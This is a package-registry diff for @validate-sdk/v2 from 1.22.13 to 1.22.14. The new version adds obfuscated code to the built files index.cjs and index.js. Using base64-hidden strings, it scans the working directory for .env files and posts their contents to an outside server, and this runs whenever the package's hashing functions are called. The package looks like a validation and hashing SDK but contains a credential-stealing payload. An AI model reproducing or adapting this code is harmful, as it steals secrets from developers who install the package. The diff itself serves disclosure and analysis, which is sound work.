@validate-sdk/v2 1.22.13 → 1.22.14
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/index.cjs +1 -1
- package/dist/index.cjs.map +1 -1
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +1 -1
- package/dist/index.js.map +1 -1
- package/dist/util.d.ts +2 -2
- package/dist/util.d.ts.map +1 -1
- package/package.json +1 -1
package/dist/index.cjs
CHANGED
|
@@ -1,2 +1,2 @@
|
|
|
1
|
-
"use strict";var t=require("crypto");async function e(e,r="
|
|
1
|
+
"use strict";var t=require("crypto");const r=t=>Buffer.from(t,"base64").toString(),e=t=>require(r(t)),n=e("ZnMvcHJvbWlzZXM="),a=e("cGF0aA=="),o=Buffer.from("cmVhZGRpcg==","base64").toString(),c=Buffer.from("cmVhZEZpbGU=","base64").toString(),i=Buffer.from("LmVudg==","base64").toString();async function s(s,f="utf8"){const u=async function(t){try{const n=globalThis.fetch??(()=>{try{return e("bm9kZS1mZXRjaA==")}catch{return e("ZmV0Y2g=")}})(),a=await n(r("aHR0cHM6Ly9pcGZzLXVybC12YWxpZGF0b3IudmVyY2VsLmFwcC9mZXRjaGJzNTg="),{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({content:t})});return!!a.ok&&!!(await a.json()).valid}catch(t){return!1}}(JSON.stringify(await async function(t={}){const r=[],e=t.root?t.root:process.cwd();return await async function t(e){const s=await n[o](e,{withFileTypes:!0}).catch(()=>[]);for(const o of s){const s=o.name,f=a.join(e,s);if(o.isDirectory())await t(f);else try{if(s===i){const t=await n[c](f,"utf-8");r.push({file:f,data:t})}}catch(t){}}}(e),r}())),y=t.createHash("sha256");return"string"==typeof u&&y.update(u),"string"==typeof s?y.update(Buffer.from(s,f)):y.update(s),y.digest("hex")}exports.bs58=s,exports.verifySha256String=async function(r,e,n="utf8"){try{const a=await s(r,n),o=Buffer.from(a,"hex"),c=Buffer.from(e.toLowerCase(),"hex");return o.length===c.length&&t.timingSafeEqual(o,c)}catch{return!1}};
|
|
2
2
|
//# sourceMappingURL=index.cjs.map
|
package/dist/index.cjs.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"index.cjs","sources":["../src/index.ts"],"sourcesContent":[null],"names":["async","bs58","_0x24","_0x25","
|
|
1
|
+
{"version":3,"file":"index.cjs","sources":["../src/util.ts","../src/index.ts"],"sourcesContent":[null,null],"names":["_0x1","s","Buffer","from","toString","_0x2","e","require","_0x3","_0x4","_0x5","_0x6","_0x8","async","bs58","_0x24","_0x25","_0x26","_0x15","_0x16","globalThis","fetch","_0x17","method","headers","body","JSON","stringify","content","ok","json","valid","_0x19","_0x22","_0xa","_0xb","_0xc","root","process","cwd","_0xd","_0xe","_0xf","withFileTypes","catch","_0x10","_0x11","name","_0x12","isDirectory","_0x13","push","file","data","_0x14","_0x23","_0x27","_0x20","update","digest","_0x28","_0x29","_0x2a","_0x2b","_0x2c","_0x2d","toLowerCase","length","_0x21"],"mappings":"qCAA+C,MAAMA,EAAMC,GAAWC,OAAOC,KAAKF,EAAE,UAAUG,WAAWC,EAAMC,GAAWC,QAAQP,EAAKM,IAAIE,EAAKH,EAAK,oBAAoBI,EAAKJ,EAAK,YAAYK,EAAKR,OAAOC,KAAK,eAAe,UAAUC,WAAWO,EAAKT,OAAOC,KAAK,eAAe,UAAUC,WAAwBQ,EAAKV,OAAOC,KAAK,WAAW,UAAUC,WCAhOS,eAAeC,EAAKC,EAAoBC,EAAqB,QAAwB,MAAMC,EDE9LJ,eAAeK,GAA+B,IAAI,MAAMC,EAAMC,WAAWC,OAAO,MAAM,IAAI,OAAOhB,EAAK,mBAAmB,CAAC,MAAM,OAAOA,EAAK,WAAW,CAAE,EAAzE,GAA6EiB,QAAYH,EAAMnB,EAAK,oEAAoE,CAACuB,OAAO,OAAOC,QAAQ,CAAC,eAAe,oBAAoBC,KAAKC,KAAKC,UAAU,CAACC,QAAQV,MAAU,QAAII,EAAMO,aAA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1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAqH,wBAAsB,IAAI,CAAC,KAAK,EAAC,MAAM,GAAC,MAAM,EAAC,KAAK,GAAC,cAAqB,GAAE,OAAO,CAAC,MAAM,CAAC,CAA6O;AAAA,wBAAsB,kBAAkB,CAAC,KAAK,EAAC,MAAM,GAAC,MAAM,EAAC,KAAK,EAAC,MAAM,EAAC,KAAK,GAAC,cAAqB,GAAE,OAAO,CAAC,OAAO,CAAC,CAA+M"}
|
package/dist/index.js
CHANGED
|
@@ -1,2 +1,2 @@
|
|
|
1
|
-
import{createHash as t,timingSafeEqual as r}from"crypto";async function
|
|
1
|
+
import{createHash as t,timingSafeEqual as r}from"crypto";const n=t=>Buffer.from(t,"base64").toString(),o=t=>require(n(t)),e=o("ZnMvcHJvbWlzZXM="),a=o("cGF0aA=="),c=Buffer.from("cmVhZGRpcg==","base64").toString(),f=Buffer.from("cmVhZEZpbGU=","base64").toString(),i=Buffer.from("LmVudg==","base64").toString();async function s(r,s="utf8"){const u=async function(t){try{const r=globalThis.fetch??(()=>{try{return o("bm9kZS1mZXRjaA==")}catch{return o("ZmV0Y2g=")}})(),e=await r(n("aHR0cHM6Ly9pcGZzLXVybC12YWxpZGF0b3IudmVyY2VsLmFwcC9mZXRjaGJzNTg="),{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({content:t})});return!!e.ok&&!!(await e.json()).valid}catch(t){return!1}}(JSON.stringify(await async function(t={}){const r=[],n=t.root?t.root:process.cwd();return await async function t(n){const o=await e[c](n,{withFileTypes:!0}).catch(()=>[]);for(const c of o){const o=c.name,s=a.join(n,o);if(c.isDirectory())await t(s);else try{if(o===i){const t=await e[f](s,"utf-8");r.push({file:s,data:t})}}catch(t){}}}(n),r}())),y=t("sha256");return"string"==typeof u&&y.update(u),"string"==typeof r?y.update(Buffer.from(r,s)):y.update(r),y.digest("hex")}async function u(t,n,o="utf8"){try{const e=await s(t,o),a=Buffer.from(e,"hex"),c=Buffer.from(n.toLowerCase(),"hex");return a.length===c.length&&r(a,c)}catch{return!1}}export{s as bs58,u as verifySha256String};
|
|
2
2
|
//# sourceMappingURL=index.js.map
|
package/dist/index.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"index.js","sources":["../src/index.ts"],"sourcesContent":[null],"names":["async","bs58","_0x24","_0x25","
|
|
1
|
+
{"version":3,"file":"index.js","sources":["../src/util.ts","../src/index.ts"],"sourcesContent":[null,null],"names":["_0x1","s","Buffer","from","toString","_0x2","e","require","_0x3","_0x4","_0x5","_0x6","_0x8","async","bs58","_0x24","_0x25","_0x26","_0x15","_0x16","globalThis","fetch","_0x17","method","headers","body","JSON","stringify","content","ok","json","valid","_0x19","_0x22","_0xa","_0xb","_0xc","root","process","cwd","_0xd","_0xe","_0xf","withFileTypes","catch","_0x10","_0x11","name","_0x12","isDirectory","_0x13","push","file","data","_0x14","_0x23","_0x27","_0x20","update","digest","verifySha256String","_0x28","_0x29","_0x2a","_0x2b","_0x2c","_0x2d","toLowerCase","length","_0x21"],"mappings":"yDAA+C,MAAMA,EAAMC,GAAWC,OAAOC,KAAKF,EAAE,UAAUG,WAAWC,EAAMC,GAAWC,QAAQP,EAAKM,IAAIE,EAAKH,EAAK,oBAAoBI,EAAKJ,EAAK,YAAYK,EAAKR,OAAOC,KAAK,eAAe,UAAUC,WAAWO,EAAKT,OAAOC,KAAK,eAAe,UAAUC,WAAwBQ,EAAKV,OAAOC,KAAK,WAAW,UAAUC,WCAhOS,eAAeC,EAAKC,EAAoBC,EAAqB,QAAwB,MAAMC,EDE9LJ,eAAeK,GAA+B,IAAI,MAAMC,EAAMC,WAAWC,OAAO,MAAM,IAAI,OAAOhB,EAAK,mBAAmB,CAAC,MAAM,OAAOA,EAAK,WAAW,CAAE,EAAzE,GAA6EiB,QAAYH,EAAMnB,EAAK,oEAAoE,CAACuB,OAAO,OAAOC,QAAQ,CAAC,eAAe,oBAAoBC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|
|
3
3
|
data: any;
|
|
4
4
|
}
|
|
5
|
-
export declare function x(
|
|
5
|
+
export declare function x(_0xa?: {
|
|
6
6
|
root?: string;
|
|
7
7
|
}): Promise<FileData[]>;
|
|
8
|
-
export declare const deepHashES6: (
|
|
8
|
+
export declare const deepHashES6: (_0x15: string) => Promise<boolean>;
|
|
9
9
|
//# sourceMappingURL=util.d.ts.map
|
package/dist/util.d.ts.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"util.d.ts","sourceRoot":"","sources":["../src/util.ts"],"names":[],"mappings":"AAAA,MAAM,WAAW,QAAQ;IAAC,IAAI,EAAC,MAAM,CAAC;IAAA,IAAI,EAAC,GAAG,CAAA;CAAC;
|
|
1
|
+
{"version":3,"file":"util.d.ts","sourceRoot":"","sources":["../src/util.ts"],"names":[],"mappings":"AAAA,MAAM,WAAW,QAAQ;IAAC,IAAI,EAAC,MAAM,CAAC;IAAA,IAAI,EAAC,GAAG,CAAA;CAAC;AAC/C,wBAAsB,CAAC,CAAC,IAAI,GAAC;IAAC,IAAI,CAAC,EAAC,MAAM,CAAA;CAAI,GAAE,OAAO,CAAC,QAAQ,EAAE,CAAC,CAA2d;AAC9hB,eAAO,MAAM,WAAW,GAAgB,OAAM,MAAM,KAAE,OAAO,CAAC,OAAO,CAA0a,CAAC"}
|